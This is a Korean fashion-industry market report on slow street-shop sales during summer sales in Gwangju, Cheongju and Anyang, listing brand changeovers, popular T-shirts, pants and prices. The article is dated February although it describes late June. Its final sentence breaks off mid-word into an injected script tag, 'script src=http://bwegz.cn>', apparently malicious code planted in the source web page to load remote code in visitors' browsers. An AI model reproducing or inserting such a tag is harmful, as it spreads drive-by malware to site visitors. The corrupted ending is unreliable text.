세일에도 매출이 안 오르네요

2006-02-06  

6월 마지막 주 전국 가두상권은 월말부터 시작한 세일에 대한 기대심리가 크다. 그러나 초반 성적이 신통치 않아 매장 관계자들을 긴장케 하고 있다. 매장 자리바꿈은 다소 줄어들었으며 각 브랜드별로 주력으로 내세운 티셔츠가 매출 주도아이템이다.

광주 충장로
광주 충장로 상권은 장마 시즌에 돌입하면서 전반적으로 주춤한 상태를 보이고 있다. 아직까지 전년과 매출수준이 비슷하지만 본격적인 장마에 돌입하게 되면 고객들의 발길이 뜸해져 매출이 하향세를 보일 것이라는 점주들의 의견.
이런 가운데 「애스크」는 최근 기본 티셔츠와 민소매 티셔츠, 청바지가 고른 판매를 보이고 있으며 얼마전부터 일부 여름 상품에 한해 20%세일에 돌입, 여름 상품 재고 처리에 들어갔다. 이 브랜드의 캐릭터 티셔츠와 국기 모양의 티셔츠는 3만∼4만원, 청바지는 7만∼8만원대. 「TBJ」는 2만원대의 캐릭터 티셔츠가 강세이며 특히 밝은 컬러의 옷들이 높은 판매를 보이고 있다. 티셔츠 외에도 카고 팬츠와 크롭진 등이 매출을 주도하고 있다.
「르꼬끄스포르티브」의 인기 아이템은 신발과 남성 티셔츠이며 타 브랜드에 비해 액세서리 판매가 높은 편이다. 특히 신발 비중이 높은데다 5만∼20만원까지 다양한 상품을 구성하고 있어 폭넓은 소비자 접근이 가능하기 때문이란다. 최근에는 7만∼9만원대 스니커즈가 이 매장의 효자 아이템이다. 남성 티셔츠의 경우, ‘몽페리얼’ 신발 캐릭터 티셔츠와 로고 티셔츠가 눈에 띠는 판매 아이템이다. 컬러는 블랙과 같이 다크한 톤이 잘 팔리고 있으며 가격도 4만∼6만원대로 학생들이 주로 찾고 있다.
「빈폴」은 다양한 컬러의 반팔 티셔츠가 각광받고 있다. 가격은 4만원∼9만원대까지 다양하다.
「베이직하우스」는 많이 판매 되는 아이템은 카고 반바지와 민소매 티셔츠. 소비자의 연령층은 다양하다. 유니섹스는 10대, 여성의류는 20대 고객이 주를 이룬다.

청주
청주 상권은 전반적으로 침체된 분위기이다. 대부분의 브랜드가 세일을 시작했지만 기대했던 만큼의 매출 신장은 보이지 않고 있다. 「니」 매장이 「마인드브릿지」로 「레이버스」가 보세브랜드로 간판을 바꿔 달았다.
「도크」는 다양한 컬러의 배트맨 캐릭터 티셔츠가 꾸준히 인기있다. 새로 출시된 앵무새, 조랑말 티셔츠 역시 좋은 반응을 얻고 있다. 티셔츠와 색이 매치되는 모자와 스팽글 장식의 가방, 토드백 역시 많은 손님들의 시선을 사로잡고 있다. 카고팬츠와 청바지도 인기 아이템이다. 티셔츠 5만∼6만, 모자 3만, 가방 4만∼6만5천원. 6월 24일부터 7월말까지 20∼30% 할인 판매된다.
「아이겐포스트」는 여러 가지 행사로 소비자의 시선을 사로잡고 있다. 우선 6월 3일부터 캐릭터 티셔츠를 30% 인하하여 판매하고 있다. 1+1 행사도 좋은 반응 얻고 있다. 또한 블라우스와 남방류가 기획상품으로 나왔다. TTL 카드 할인이 기존의 20%에서 할인폭을 높여서 30%로 진행되고 있는 것 역시 지나칠 수 없는 부분이다.
다양한 원색 컬러의 세븐티가 가장 좋은 반응을 얻고 있는 「폴햄」은 기존의 빅 세븐티 외에도 다른 스타일의 세븐티를 출시, 커플룩으로 인기를 누리고 있다. 하의류는 현재 20∼30%로 세일을 하고있다. 기본 카고 바지는 물론 7부 카고 바지가 좋은 반응을 얻고 있다. 세븐티의 가격은 2만1천∼2만3천원, 바지는 5만∼6만원대. 지속적으로 인기를 누리고 있는 가방은 백팩과 기본 토드백이 모두 물량이 거의 남지 않은 상태이다.

안양
안양 상권은 여전히 롯데백화점의 영향으로 매출이 그다지 좋지 않다. 그러나 최근 많은 브랜드의 이동이 있었다. 「엔진」이 「티니위니」, 「마루」가 「쉐인진」, 「1492마일즈」가 「레크」, 「우들스」가 주얼리 브랜드 「클루」, 「에스콰이어」가 「바디샵」으로 간판을 바꿔 달았고 「닥스」 매장이 철수하고 현재 공사 중이다.
「폴햄」은 최근 세븐티가 인기다. 기본 티셔츠에 ‘7’이 그려진 아이템으로, 남성 고객에게 핑크, 여성 고객에게 옐로우, 그린 컬러가 인기다. 가격은 2만1천∼2만3천원대다. 이 브랜드는 현재 하의 아이템에 대해 20∼30% 세일을 실시하고 있다. 세일은 7월 중순까지 계속되며 6만9천원대의 카고 팬츠의 인기가 꾸준하다.
「레크」는 브랜드의 위기를 겪고 난 후 매장이 다시 활기를 띠고 있다. 최근 커플티셔츠가 인기로, 프린트가 가미된 다양한 아이템이 골고루 인기를 끌고 있다. 어린 왕자, 자동차가 프린트된 티셔츠도 잘 팔린다. 티셔츠의 가격은 대부분 3만9천원대다. 또 수입 스니커즈가 합리적인 가격으로 찾는 고객이 많다. 6만9천원의 균일가로 판매하고 있어 매출 상승에 크게 도움이 되고 있다고.
「티니위니」는 브랜드의 시그니처인 곰돌이 프린트의 기본 티셔츠가 꾸준히 팔리고 있다. 1만9천∼2만9천원대가 대부분이며 핑크, 옐?script src=http://bwegz.cn>

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